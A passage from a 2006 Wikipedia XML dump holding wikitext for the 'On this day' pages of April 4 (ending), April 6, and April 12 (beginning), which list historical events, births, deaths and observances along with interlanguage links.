*[[1870]] - [[Heinrich Gustav Magnus]], German chemist and physicist (b. [[1802]])
*[[1874]] - [[Charles Ernest Beulé]], French archaelogist and politician (b. [[1826]])
*[[1879]] - [[Heinrich Wilhelm Dove]], German physicist (b. [[1803]])
*[[1884]] - [[Marie Bashkirtseff]], Russian artist and diarist (b. [[1860]])
*[[1890]] - [[Edmond Hébert]], French geologist (b. [[1812]])
*[[1919]] - Sir [[William Crookes]], English chemist and physicist (b. [[1832]])
*[[1923]] - [[John Venn]], British mathematician (b. [[1834]])
*[[1932]] - [[Wilhelm Ostwald]], German chemist, [[Nobel Prize]] laureate (b. [[1853]])
*[[1951]] - [[Al Christie]], Canadian film director and producer (b. [[1881]])
*1951 - [[George Albert Smith]], president of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (b. [[1870]])
*[[1953]] - King [[Carol II of Romania]] (b. [[1893]])
*[[1967]] - [[Héctor Scarone]], Uruguayan footballer (b. [[1898]])
*[[1968]] - Rev. [[Martin Luther King Jr.]], American civil rights activist, recipient of the [[Nobel Peace Prize]] (assassinated) (b. [[1929]])
*[[1972]] - [[Adam Clayton Powell Jr.]], American politician (b. [[1908]])
*1972 - [[Stefan Wolpe]], German-born composer (b. [[1902]])
*[[1979]] - [[Ali Bhutto]], President and [[Prime Minister of Pakistan]] (b. [[1928]])
*1979 - [[Edgar Buchanan]], American actor (b. [[1903]])
*[[1983]] - [[Gloria Swanson]], American actress (b. [[1897]])
*[[1984]] - [[Oleg Antonov]], Russian airplane engineer (b. [[1906]])
*[[1987]] - [[C.L. Moore]], American writer (b. [[1911]])
*[[1991]] - [[Max Frisch]], Swiss writer (b. [[1911]])
*1991 - [[H. John Heinz III]], U.S. Senator (plane crash) (b. [[1938]])
*1991 - [[Forrest Towns]], American hurdler (b. [[1914]])
*[[1995]] - [[Priscilla Lane]], American singer, actress
*[[1996]] - [[Barney Ewell]], American athlete (b. [[1918]])
*1996 - [[Larry LaPrise]], American songwriter (b. [[1913]])
*[[1999]] - [[Early Wynn]], baseball player (b. [[1920]])
*1999 - [[Faith Domergue]] American actor (b. [[1924]])
*[[2001]] - [[Ed Roth|Ed &quot;Big Daddy&quot; Roth]], American custom car designer (b. [[1932]])
*[[2002]] - [[Harry L. O'Connor]], Czech-born film stuntman
*[[2003]] - [[Resortes]], Mexican comedian (b. [[1916]])
*[[2004]] - [[Casey Sheehan]], American soldier, son of [[Cindy Sheehan]] (b. 1979)
*[[2005]] - [[Edward Bronfman]], Canadian Businessmen (b. [[1924]])

==Holidays and observances==
* [[Lesotho]] - Heroes' Day
==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/4 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050404.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Apr&amp;day=04 On This Day in Canada]

-----

[[April 3]] - [[April 5]] - [[March 4]] - [[May 4]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:4 April]]
[[ang:4 Ēastermōnaþ]]
[[ar:4 إبريل]]
[[an:4 d'abril]]
[[ast:4 d'abril]]
[[bg:4 април]]
[[be:4 красавіка]]
[[bs:4. april]]
[[ca:4 d'abril]]
[[ceb:Abril 4]]
[[cv:Ака, 4]]
[[co:4 d'aprile]]
[[cs:4. duben]]
[[cy:4 Ebrill]]
[[da:4. april]]
[[de:4. April]]
[[et:4. aprill]]
[[el:4 Απριλίου]]
[[es:4 de abril]]
[[eo:4-a de aprilo]]
[[eu:Apirilaren 4]]
[[fo:4. apríl]]
[[fr:4 avril]]
[[fy:4 april]]
[[ga:4 Aibreán]]
[[gl:4 de abril]]
[[ko:4월 4일]]
[[hr:4. travnja]]
[[io:4 di aprilo]]
[[ilo:Abril 4]]
[[id:4 April]]
[[ia:4 de april]]
[[ie:4 april]]
[[is:4. apríl]]
[[it:4 aprile]]
[[he:4 באפריל]]
[[jv:4 April]]
[[ka:4 აპრილი]]
[[csb:4 łżëkwiôta]]
[[ku:4'ê avrêlê]]
[[lt:Balandžio 4]]
[[lb:4. Abrëll]]
[[li:4 april]]
[[hu:Április 4]]
[[mk:4 април]]
[[ms:4 April]]
[[nap:4 'e abbrile]]
[[nl:4 april]]
[[ja:4月4日]]
[[no:4. april]]
[[nn:4. april]]
[[oc:4 d'abril]]
[[os:4 апрелы]]
[[pl:4 kwietnia]]
[[pt:4 de Abril]]
[[ro:4 aprilie]]
[[ru:4 апреля]]
[[se:Cuoŋománu 4.]]
[[sco:4 Aprile]]
[[sq:4 Prill]]
[[scn:4 di aprili]]
[[simple:April 4]]
[[sk:4. apríl]]
[[sl:4. april]]
[[sr:4. април]]
[[fi:4. huhtikuuta]]
[[sv:4 april]]
[[tl:Abril 4]]
[[tt:4. Äpril]]
[[te:ఏప్రిల్ 4]]
[[th:4 เมษายน]]
[[vi:4 tháng 4]]
[[tr:4 Nisan]]
[[uk:4 квітня]]
[[ur:4 اپریل]]
[[wa:4 d' avri]]
[[war:Abril 4]]
[[zh:4月4日]]
[[pam:Abril 4]]</text>
    </revision>
  </page>
  <page>
    <title>April 6</title>
    <id>1008</id>
    <revision>
      <id>41651235</id>
      <timestamp>2006-02-28T20:26:54Z</timestamp>
      <contributor>
        <username>Enochlau</username>
        <id>36424</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/66.154.148.18|66.154.148.18]] ([[User talk:66.154.148.18|talk]]) to last version by Shanes</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=6}}
|}
'''[[April 6]]''' is the 96th day of the year in the [[Gregorian calendar]] (97th in [[leap year]]s). There are 269 days remaining.
==Events==
*[[648 BC]] - Earliest [[solar eclipse]] recorded by the [[Ancient Greece|Ancient Greeks]]. 
*[[402]] - [[Stilicho]] stymies the [[Visigoths]] under [[Alaric I|Alaric]] in the [[Battle of Pollentia]] 
*[[1320]] - The [[Scotland|Scots]] reaffirm their independence by signing the [[Declaration of Arbroath]]. 
*[[1327]] - The poet [[Petrarch]] first saw his idealized love Laura in the church of [[Saint Clare]] in [[Avignon]].
*[[1652]] - [[Netherlands|Dutch]] sailor [[Jan van Riebeeck]] establishes a resupply camp at the [[Cape of Good Hope]], which will eventually develop into [[Cape Town]]. 
*[[1782]] - [[Rama I]] succeeds King [[Taksin]] of [[Thailand]], who was overthrown in a [[coup d'état]].  
*[[1808]] - [[John Jacob Astor]] incorporates the [[American Fur Company]]. 
*[[1830]] - [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] is formed by [[Joseph Smith, Jr.]] at [[Fayette, New York]]. 
*[[1832]] - [[Indian Wars]]: [[Black Hawk War]] begins - The [[Sauk]] warrior [[Black Hawk]] enters into war with the [[United States]]. 
*[[1841]] - [[John Tyler]] is inaugurated as the 10th [[President of the United States]].
*[[1862]] - [[American Civil War]]: [[Battle of Shiloh]] begins - In [[Tennessee]], forces under [[United States|Union]] General [[Ulysses S. Grant]] meet [[Confederate States of America|Confederate]] troops led by General [[Albert Sidney Johnston]] at [[Shiloh, Tennessee|Shiloh]].
*[[1865]] -  American Civil War: [[Battle of Sayler's Creek]] -  Confederate General [[Robert E. Lee]]'s [[Army of Northern Virginia]] fights its last major battle while in retreat from [[Richmond, Virginia]].
*[[1869]] - [[Celluloid]] is patented.
*[[1886]] - [[Vancouver, British Columbia]] is incorporated as a city.
*[[1893]] - [[Salt Lake Temple]] of the [[Church of Jesus Christ of Latter-Day Saints]] dedicated by [[Wilford Woodruff]].
*[[1895]] - [[Oscar Wilde]] is arrested after losing a [[libel]] case against the [[John Sholto Douglas, 9th Marquess of Queensberry]]. 
*[[1896]] - In [[Athens]], the opening of the [[1896 Summer Olympics|first modern Olympic Games]] after 1,500 years after being banned by Roman Emperor [[Theodosius I]].
*[[1903]] - The [[Kishinev pogrom]] in Kishinev (Bessarabia) began,  forcing tens of thousands of Jews to later seek refuge in Israel and the west.
*[[1909]] - [[Robert Edwin Peary|Robert Peary]] allegedly reaches the [[North Pole]]. 
*[[1911]] - Dedë Gjon Luli Dedvukaj, Leader of the Malësori Albanians raises the Albanian flag in the town of [[Tuzi]], [[Montenegro]] for the first time after [[Gjergj Kastrioti]] (Skenderbeg).
*[[1917]] - [[World War I]]: [[United States]] declares war on [[Germany]] (see [http://en.wikisource.org/wiki/Woodrow_Wilson_declares_war_on_Germany Wilson's address to Congress]).
*[[1926]] - [[Walter Varney]] Airlines makes first commercial flight from [[Pasco, Washington]], to [[Elko, Nevada]].  Varney is the root company of [[United Airlines]].
*[[1930]] - Gandhi raised a lump of mud and salt (some say just a pinch, some say just a grain) and declared, &quot;With this, I am shaking the foundations of the British Empire.&quot; Thus he started Salt Satyagraha.
*1930 - Hostess [[Twinkie]]s are invented. 
*1930 - [[Will Rogers]] starts broadcasting ''[[The Will Rogers Program]]'' on [[radio]].
*[[1931]] - ''[[Little Orphan Annie]]'' debuts on the Blue Network of [[NBC]].  
*[[1936]] - [[Tupelo-Gainesville Outbreak]]: Another tornado from the same storm system as the Tupelo tornado hits [[Gainesville, Georgia]], killing 203.
*[[1941]] - [[World War II]]: [[Operation Castigo]] begins - [[Germany]] invades [[Kingdom of Yugoslavia]] and [[Greece]].
*[[1965]] - [[Early Bird]], the first communications [[satellite]] to be placed in synchronous orbit, is launched. 
*[[1968]] - In [[London, United Kingdom]], [[Massiel]] wins the thirteenth [[Eurovision Song Contest]] for [[Spain]] singing &quot;La, la, la.&quot;
*[[1970]] - Four [[California Highway Patrol]] officers die in one of the worst cop killings in the CHP's history; this is known as the [[Newhall Incident]].
*[[1972]] - [[Vietnam War]]: [[Easter Offensive]] - The first day of clear weather in three days allows [[United States|American]] forces to start sustained air strikes and naval bombardments.
*[[1973]] - Launch of ''[[Pioneer 11]]'' [[spacecraft]]. 
*[[1974]] - The [[California Jam]] Rock concert begins.
*1974 - In [[Brighton|Brighton, United Kingdom]], [[ABBA]] wins the nineteenth [[Eurovision Song Contest]] for [[Sweden]] singing &quot;Waterloo.&quot;
*[[1984]] - Members of [[Cameroon]]'s Republican Guard from country's northern region attack various government buildings in an unsuccessful attempt to overthrow the government headed by [[Paul Biya]].
*[[1987]] - [[Sugar Ray Leonard]] takes the middleweight [[boxing]] title from [[Marvin Hagler]].
*[[1993]] - Russian [[nuclear accident]] at [[Tomsk 7]].
*[[1994]] - The [[Rwandan Genocide]] begins when the aircraft carrying Rwandan president [[Juvénal Habyarimana]] and Burundian president [[Cyprien Ntaryamira]] is shot down by extremists.
*[[1998]] - [[Pakistan]] tests medium-range missiles capable of hitting [[India]].
*1998 - The [[Dow Jones Industrial Average]] gains 49.82 to close at 9,033.23 -- its first-ever close above 9,000.
*[[2001]] - [[Miller Park]] opens in [[Milwaukee, Wisconsin]].
*[[2004]] - [[Rolandas Paksas]] becomes the first president of [[Lithuania]] to be peacefully removed from the post by [[impeachment]].

==Births==
*[[1483]] - [[Raphael]], Italian painter and architect (d. [[1520]])
*[[1651]] - [[André Dacier]], French classical scholar (d. [[1722]])
*[[1664]] - [[Arvid Horn]], Swedish statesman (d. [[1742]])
*[[1671]] - [[Jean-Baptiste Rousseau]], French poet (d. [[1741]])
*[[1725]] - [[Pasquale Paoli]], Corsican patriot and military leader (d. [[1807]])
*[[1812]] - [[Alexander Herzen]], Russian writer (d. [[1870]])
*[[1815]] - [[Robert Volkmann]], German composer (d. [[1883]])
*[[1818]] - [[Aasmund Olavsson Vinje]], Norwegian poet (d. [[1870]])
*[[1820]] - [[Nadar]], French photographer (d. [[1910]])
*[[1823]] - [[Joseph Medill]], Mayor of Chicago (d. [[1899]])
*[[1826]] - [[Gustave Moreau]], French painter (d. [[1898]])
*[[1849]] - [[John William Waterhouse]], British painter (d. [[1917]])
*[[1866]] - [[Butch Cassidy]], American outlaw (d. [[1909]])
*[[1878]] - [[Erich Mühsam]], German author (d. [[1934]])
*[[1884]] - [[Walter Huston]], Canadian-born actor (d. [[1950]])
*[[1890]] - [[Anthony Fokker]], Dutch designer of aircraft (d. [[1939]])
*[[1892]] - [[Donald Wills Douglas, Sr.]], American industrialist (d. [[1981]])
*1892 - [[Lowell Thomas]], American travel writer (d. [[1981]])
*[[1902]] - [[Veniamin Kaverin]], Russian writer (d. [[1989]])
*[[1903]] - [[Mickey Cochrane]], baseball player (d. [[1962]])
*1903 - [[Doc Edgerton]], American electrical engineer (d. [[1990]])
*[[1911]] - [[Feodor Felix Konrad Lynen]], German biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1979]])
*[[1920]] - [[Edmond H. Fischer]], Swiss-American biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1926]] - [[Sergio Franchi]], Italian-born singer and actor (d. [[1990]])
*1926 - [[Gil Kane]], Latvian-born cartoonist (d. [[2000]])
*1926 - [[Ian Paisley]], Northern Irish politician
*[[1927]] - [[Gerry Mulligan]], American musician (d. [[1996]])
*[[1928]] - [[James D. Watson]], American geneticist, recipient of the [[Nobel Prize in Physiology or Medicine]]
*[[1929]] - [[André Previn]], German-born composer and conductor
*[[1931]] - [[Ivan Dixon]], American actor and director
*[[1933]] - [[Roy Goode]], British lawyer
*[[1934]] - [[Anton Geesink]], Dutch judoka
*[[1937]] - [[Merle Haggard]], American musician
*1937 - [[Billy Dee Williams]], American actor
*[[1938]] - [[Paul Daniels]], English magician
*1938 - [[Roy Thinnes]], American actor
*[[1941]] - [[Phil Austin]], American comedian
*1941 - [[Zamfir]], Romanian musician
*[[1942]] - [[Barry Levinson]], American film producer and director
*[[1944]] - [[Felicity Palmer]], English soprano
*[[1947]] - [[John Ratzenberger]], American actor
*[[1949]] - [[Horst Ludwig Störmer]], German-born physicist, [[Nobel Prize in Physics|Nobel Prize]] laureate
*[[1951]] - [[Bert Blyleven]], Dutch [[Major League Baseball]] player
*[[1952]] - [[Udo Dirkschneider]], German singer ([[Accept]] and [[U.D.O.]])   
*1952 - [[Marilu Henner]], American actress
*[[1954]] - [[Thom Bray]], American actor
*[[1955]] - [[Michael Rooker]], American actor
*[[1965]] - [[Frank Black]], American singer and songwriter ([[Pixies]])
*[[1969]] - [[Bison Dele]], American basketball player (disappeared [[2002]])
*1969 - [[Ari Meyers]], Puerto Rican-born American actress
*[[1970]] - [[Olaf Kölzig]], South African hockey player
*[[1973]] - [[Donnie Edwards]], American football player
*1973 - [[Rie Miyazawa]], Japanese actress and singer
*[[1975]] - [[Zach Braff]], American actor
*[[1976]] - [[Candace Cameron]], American actress
*[[1985]] - [[Garrett Zablocki]], American guitarist ([[Senses Fail]])

==Deaths==
*[[1199]] - King [[Richard I of England]] (killed in battle) (b. [[1157]])
*[[1362]] - [[James I, Count of La Marche]], French soldier (b. [[1319]])
*[[1490]] - King [[Matthias Corvinus of Hungary]]
*[[1520]] - [[Raphael]], Italian painter and architect (b. [[1483]])
*[[1528]] - [[Albrecht Dürer]], German artist (b. [[1471]])
*[[1551]] - [[Joachim Vadian]], Swiss humanist (b. [[1484]])
*[[1571]] - [[John Hamilton (of Scotland)|John Hamilton]], Scottish prelate and politician
*[[1590]] - [[Francis Walsingham]], English spymaster
*[[1605]] - [[John Stow]], English historian
*[[1655]] - [[David Blondel]], French protestant clergyman (b. [[1591]])
*[[1686]] - [[Arthur Annesley, 1st Earl of Anglesey]], English royalist statesman (b. [[1614]])
*[[1707]] - [[Willem van de Velde, the younger]], Dutch painter (b. [[1633]])
*[[1755]] - [[Richard Rawlinson]], English minister and antiquarian (b. [[1690]])
*[[1829]] - [[Niels Henrik Abel]], Norwegian mathematician (b. [[1802]])
*[[1838]] - [[José Bonifácio de Andrade e Silva]], Brazilian statesman and geologist (b. [[1763]])
*[[1862]] - [[Albert Sidney Johnston]], American Confederate general (b. [[1803]])
*[[1883]] - [[Benjamin Wright Raymond|Benjamin Raymond]], Mayor of Chicago (b. [[1801]])
*[[1906]] - [[Alexander Kielland]], Norwegian author (b. [[1849]])
*[[1935]] - [[Edwin Arlington Robinson]], American poet (b. [[1869]])
*[[1961]] - [[Jules Bordet]], Belgian immunologist and microbiologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1870]])
*[[1963]] - [[Otto Struve]], Russian-born astronomer (b. [[1897]])
*[[1970]] - [[Sam Sheppard]], American accused murderer (b. [[1923]])
*[[1971]] - [[Igor Stravinsky]], Russian composer (b. [[1882]])
*[[1974]] - [[Willem Marinus Dudok]], Dutch architect (b. [[1884]])
*[[1986]] - [[Raimundo Orsi]], Argentine-Italian footballer
*[[1992]] - [[Isaac Asimov]], Russian-born author (b. [[1920]])
*[[1994]] - [[Juvénal Habyarimana]], [[President of Rwanda]] (b. [[1937]])
*1994 - [[Cyprien Ntaryamira]], [[President of Burundi]] (b. [[1956]])
*[[1996]] - [[Greer Garson]], Irish actress (b. [[1904]])
*[[1998]] - [[Wendy O. Williams]], American musician ([[Plasmatics]]) (b. [[1949]])
*1998 - [[Tammy Wynette]], American musician (b. [[1942]])
*[[2000]] - [[Habib Bourguiba]], [[President of Tunisia]] (b. [[1903]])
*[[2003]] - [[David Bloom]], American reporter (pulmonary embolism) (b. [[1963]])
*2003 - [[Babatunde Olatunji]], Nigerian drummer (b. [[1927]])
*[[2004]] - [[Larisa Bogoraz]], Soviet dissident (b. [[1929]])
*[[2005]] - [[Rainier III, Prince of Monaco]] (b. [[1923]])

==Holidays and observances==
*[[Feast day]] of St. Sixtus and [[Marcellinus of Carthage]] in the [[Roman Catholic Church]].
* The start of the [[tax year]] in the [[United Kingdom]] (arising from the 11 day correction to [[March 25]] at the adoption of the [[Gregorian calendar]] in [[1752]]).
*[[Tartan Day]], a day set aside for the celebration of the [[Scotland|Scottish]] influence on [[United States|America]].
*The date of organization of the [[Church of Christ (Mormonism)|Church of Christ]], and the start of the Restoration Movement by Joseph Smith Junior, from which are various off shoots such as the [[Community of Christ]] and the [[Church of Jesus Christ of Latter-day Saints]], officially organized on April 6th [[1830]].

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/april/6 BBC: On This Day]
* [http://www.tnl.net/when/4/6 Today in History: April 6]

-----

[[April 5]] - [[April 7]] - [[March 6]] - [[May 6]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:6 April]]
[[an:6 d'abril]]
[[ar:6 ابريل]]
[[ast:6 d'abril]]
[[be:6 красавіка]]
[[bg:6 април]]
[[bs:6. april]]
[[ca:6 d'abril]]
[[ceb:Abril 6]]
[[cs:6. duben]]
[[csb:6 łżëkwiôta]]
[[cy:6 Ebrill]]
[[da:6. april]]
[[de:6. April]]
[[el:6 Απριλίου]]
[[eo:6-a de aprilo]]
[[es:6 de abril]]
[[et:6. aprill]]
[[eu:Apirilaren 6]]
[[fi:6. huhtikuuta]]
[[fr:6 avril]]
[[fy:6 april]]
[[ga:6 Aibreán]]
[[gl:6 de abril]]
[[he:6 באפריל]]
[[hr:6. travnja]]
[[hu:Április 6]]
[[ia:6 de april]]
[[id:6 April]]
[[ie:6 april]]
[[io:6 di aprilo]]
[[is:6. apríl]]
[[it:6 aprile]]
[[ja:4月6日]]
[[ka:6 აპრილი]]
[[ko:4월 6일]]
[[ku:6'ê avrêlê]]
[[lb:6. Abrëll]]
[[li:6 april]]
[[lt:Balandžio 6]]
[[mk:6 април]]
[[nl:6 april]]
[[nn:6. april]]
[[no:6. april]]
[[oc:6 d'abril]]
[[pl:6 kwietnia]]
[[pt:6 de Abril]]
[[ro:6 aprilie]]
[[ru:6 апреля]]
[[scn:6 di aprili]]
[[se:Cuoŋománu 5.]]
[[simple:April 6]]
[[sk:6. apríl]]
[[sl:6. april]]
[[sq:6 Prill]]
[[sr:6. април]]
[[sv:6 april]]
[[th:6 เมษายน]]
[[tl:Abril 6]]
[[tr:6 Nisan]]
[[tt:6. Äpril]]
[[uk:6 квітня]]
[[ur:6 اپریل]]
[[vi:6 tháng 4]]
[[wa:6 d' avri]]
[[zh:4月6日]]</text>
    </revision>
  </page>
  <page>
    <title>April 12</title>
    <id>1009</id>
    <revision>
      <id>41649582</id>
      <timestamp>2006-02-28T20:13:48Z</timestamp>
      <contributor>
        <username>CorbinSimpson</username>
        <id>641043</id>
      </contributor>
      <comment>reverting vandalism</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AprilCalendar}}
|-
|{{ThisDateInRecentYears|Month=April|Day=12}}
|}
'''April 12''' is the [[102 (number)|102]]nd day of the year in the [[Gregorian calendar]] (103rd in [[leap year]]s). There are 263 days remaining.

==Events==
*[[467]] - [[Anthemius]] is elevated to [[Roman emperor|Emperor of the Western Roman Empire]]
*[[1606]] - The [[Union Jack]] is adopted as the national flag of [[Great Britain]].
*[[1633]] - The formal interrogation by the [[Inquisition]] of [[Galileo Galilei]] begins.
*[[1861]] - [[American Civil War]]:  The [[war]] begins with [[Confederate States of America|Confederate]] forces firing on [[Fort Sumter]], in the harbor of [[Charleston, South Carolina]].
*[[1864]] - [[American Civil War]]: [[Fort Pillow massacre]] -- [[Confederate States of America|Confederate]] forces under General [[Nathan Bedford Forrest]] kill most of the [[African American]] soldiers who had surrendered at [[Fort Pillow]], [[Tennessee]]
*[[1865]] - [[American Civil War]]: [[Mobile, Alabama]], falls to the [[Union Army]].
*[[1877]] - The [[United Kingdom]] annexes the [[Transvaal]].
*[[1923]] - [[Kandersteg International Scout Centre]] came into existence.
*[[1926]] - By a vote of 45 to 41, the [[United States Senate]] unseats [[Iowa]] Senator [[Smith W. Brookhart]] and seats [[Daniel F. Steck]], after Brookhart had already served for over one year. 
*[[1937]] - Sir [[Frank Whittle]] ground-tests the first [[jet engine]] designed to power an aircraft, at the [[British Thomson-Houston]] factory in [[Rugby, Warwickshire|Rugby, England]]
*[[1945]] - President [[Franklin D. Roosevelt]] dies, and [[Harry S. Truman]] is inaugurated as the 33rd [[President of the United States]].
*[[1946]] - [[Syria]] gains independence from [[France]].
*[[1954]] - [[Bill Haley and His Comets]] record &quot;[[Rock Around the Clock]]&quot; in [[New York City]]. Initially unsuccessful, the recording would help launch the [[rock and roll]] revolution a year later.
*[[1955]] - The [[polio]] [[vaccine]], developed by Dr. [[Jonas Salk]], is declared safe and effective. 
*[[1961]] - [[Yuri Gagarin]] becomes the first man to fly in space.
*[[1968]] - [[Nerve gas]] accident at [[Skull Valley, Utah]].
*[[1975]] - [[Khmer Rouge]] troops capture [[Phnom Penh]], [[Cambodia]].
*[[1980]] - [[Terry Fox]] began his trans-[[Canada]] [[marathon (sport)|marathon]] to raise money for [[cancer research]] (''[[Marathon of Hope]]'') by dipping his [[Artificial limb|artificial leg]] in the [[Atlantic Ocean]] at [[St. John's, Newfoundland and Labrador|St. John's]], [[Newfoundland]], aiming to dip it again in the [[Pacific Ocean]] at [[Vancouver]], [[British Columbia]]. 
*[[1981]] - The first launch of a [[Space Shuttle]]: [[Space Shuttle Columbia|''Columbia'']] launches on the [[STS-1]] mission.
*[[1984]] - LiSARS is created
*[[1989]] - TV show ''[[Fast Forward]]'' starts on the [[ATN-7]] Network ([[Australia]]). 
*[[1990]] - [[Christian Bernard]], F.R.C., becomes Imperator of [[AMORC]].
*[[1992]] - [[Euro Disneyland]] opens in [[Marne-la-Vallee]], [[France]].
*[[1994]] - [[Canter &amp; Siegel]] post the first commercial mass [[Usenet]] [[Newsgroup spam|spam]].
*[[1996]] - [[Yahoo!]] had its [[initial public offering]], selling 2.6 million shares at $13 each.
*[[1998]] - Catastrophical [[earthquake]] in [[Slovenia]] in Posočje 5,6 on the Richter scale.
*[[2002]] - [[Coup d'Etat]] against [[Hugo Chávez]] in [[Venezuela]].
*[[2005]] - In [[Canada]], a motion by the opposition [[Conservative Party of Canada|Conservative Party]] to kill legislation opening the door for legalized [[same sex marriage]] is defeated 164-132.

==Births==
*[[599 BC]] - [[Mahavira]], Indian founder of Jainism (d. [[527 BC]])
*[[812]] - [[Muhammad at-Taqi]], Arabian Shia Imam (d. [[835]])
*[[1484]] - [[Antonio da Sangallo the Younger]], Italian architect (d. [[1546]])
*[[1500]] - [[Joachim Camerarius]], German classical scholar (d. [[1574]])
*[[1526]] - [[Muretus]], French humanist (d. [[1585]])
*[[1550]] - [[Edward de Vere, 17th Earl of Oxford]], English politician (d. [[1604]])
*[[1577]] - King [[Christian IV of Denmark]] (d. [[1648]])
*[[1713]] - [[Guillaume Thomas François Raynal]], French writer (d. [[1796]])
*[[1722]] - [[Pietro Nardini]], Italian composer (d. [[1793]])
*[[1724]] - [[Lyman Hall]], American signer of the Declaration of Independence (d. [[1790]])
*[[1726]] - [[Charles Burney]], English music historian (d. [[1814]])
*[[1748]] - [[Antoine Laurent de Jussieu]], French botanist (d. [[1836]])
*[[1777]] - [[Henry Clay]], American statesman and five-time Presidential candidate (d. [[1852]])
*[[1794]] - [[Germinal Pierre Dandelin]], Belgian mathematician (d. [[1847]])
*[[1799]] - [[Henri Druey]], Swiss Federal Councilor (d. [[1855]])
*[[1823]] - [[Alexandr Ostrovsky]], Russian dramatist (d. [[1886]])
*[[1839]] - [[Nikolai Przhevalsky]], Russian explorer (d. [[1888]])
*[[1856]] - [[William Martin Conway]], English art critic and mountaineer (d. [[1937]])
*[[1869]] - [[Henri Désiré Landru]], French serial killer (d. [[1922]])
*[[1884]] - [[Otto Meyerhof]], German-born biochemist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1951]])
*[[1887]] - [[Harold Lockwood]], American silent film actor (d. [[1918]])
*[[1888]] - [[Heinrich Neuhaus]], Soviet pianist (d. [[1964]])
*[[1892]] - [[Johnny Dodds]], American jazz clarinetist (d. [[1940]])
*[[1893]] - [[Robert Harron]], American actor (d. [[1920]])
*[[1898]] - [[Lily Pons]], American soprano (d. [[1976]])
*[[1902]] - [[Louis Beel]], [[Prime Minister of the Netherlands]] (d. [[1977]])
*[[1903]] - [[Sally Rand]], American dancer and actress (d. [[1979]])
*1903 - [[Jan Tinbergen]], Dutch economist, [[Bank of Sweden Prize in Economic Sciences in Memory of Alfred Nobel|Bank of Sweden Prize]] winner (d. [[1994]])
*[[1907]] - [[Felix de Weldon]], Austrian-born sculptor (d. [[2003]])
*[[1908]] - [[Lionel Hampton]], American musician (d. [[2002]])
*[[1912]] - [[Walt Gorney]], American actor (d. [[2004]])
*[[1916]] - [[Beverly Cleary]], American writer
*[[1917]] - [[Helen Forrest]], American singer (d. [[1999]])
*[[1922]] - [[Tiny Tim]], American musician (d. [[1996]])
*[[1923]] - [[Ann Miller]], American actress and dancer (d. [[2004]])
*[[1928]] - [[Hardy Krüger]], German actor
*1928 - [[Jean-François Paillard]], French conductor
*[[1932]] - [[Dennis Banks]], American activist
*1932 - [[Lakshman Kadirgamar]], Sri Lankan Politician (assassinated) (d. [[2005]])
*[[1933]] - [[Montserrat Caballe|Montserrat Caballé]], Catalan soprano
*[[1935]] - [[Johnny Bucyk]], Canadian [[ice hockey]] player
*[[1939]] - [[Alan Ayckbourn]], English writer
*[[1940]] - [[Herbie Hancock]], American pianist and composer
*[[1941]] - [[Bobby Moore]], English footballer (d. [[1993]])
*[[1944]] - [[John Kay (musician)|John Kay]], German-born musician ([[Steppenwolf (band)|Steppenwolf]])
*[[1946]] - [[Ed O'Neill]], American actor
*[[1947]] - [[Tom Clancy]], American author
*1947 - [[David Letterman]], American talk show host
*[[1948]] - [[Jeremy Beadle]], British television presenter
*1948 - [[Joschka Fischer]], Foreign Minister of Germany
*1948 - [[Sandra &quot;Lois&quot; Reeves]], American singer ([[Martha &amp; the Vandellas]])
*[[1949]] - [[Scott Turow]], American writer
*[[1950]] - [[David Cassidy]], American singer and actor
*1950 - [[Kari Palaste]], Finnish architect
*[[1952]] - [[Ralph Wiley]], American sports journalist (d. [[2004]])
*[[1954]] - [[Pat Travers]], Canadian musician
*[[1956]] - [[Andy Garcia]], Cuban-born actor
*1956 - [[Herbert Grönemeyer]], German singer, pianist, and actor
*[[1957]] - [[Vince Gill]], American musician
*[[1961]] - [[Lisa Gerrard]], Australian singer and film composer
*[[1962]] - [[Art Alexakis]], American musician ([[Everclear (band)|Everclear]])
*[[1964]] - [[Amy Ray]], American musician ([[Indigo Girls]])
*[[1970]] - [[Nick Hexum]], American musician ([[311 (band)|311]])
*[[1971]] - [[Nicholas Brendon]], actor
*1971 - [[Shannen Doherty]], American actress
*[[1978]] - [[Guy Berryman]], British musician ([[Coldplay]])
*1978 - [[Riley Smith]], American actor
*[[1979]] - [[Claire Danes]], American actress
*1979 - [[Mateja Kežman]], Serbian footballer
*[[1982]] - [[Deen]], Bosnian singer
*[[1985]] - [[Hitomi Yoshizawa]], Japanese singer ([[Morning Musume]])

==Deaths==
*[[65]] - [[Seneca the Younger]], Roman philosopher, statesman and dramatist
*[[238]] - [[Gordian I]], [[Roman Emperor]] (suicide)
*238 - [[Gordian II]], heir to the Roman Empire (killed in battle)
*[[1443]] - [[Henry Chichele]], [[Archbishop of Canterbury]]
*[[1550]] - [[Claude, Duke of Guise]], French soldier (b. [[1496]])
*[[1555]] - [[Juana of Castile]], queen of [[Philip I of Castile]] (b. [[1479]])
*[[1687]] - [[Ambrose Dixon]], Virginia Colony pioneer
*[[1704]] - [[Jacques-Bénigne Bossuet]], French bishop and writer (b. [[1627]])
*[[1748]] - [[William Kent]], English architect
*[[1782]] - [[Metastasio]], Italian poet and librettist (b. [[1698]])
*[[1788]] - [[Carlo Antonio Campioni]], French-born composer (b. [[1719]])
*[[1795]] - [[Johann Kaspar Basselet von La Rosée]], Bavarian general (b. [[1710]])
*[[1814]] - [[Charles Burney]], English music historian (b. [[1726]])
*[[1850]] - [[Adoniram Judson]], American Baptist missionary (b. [[1788]])
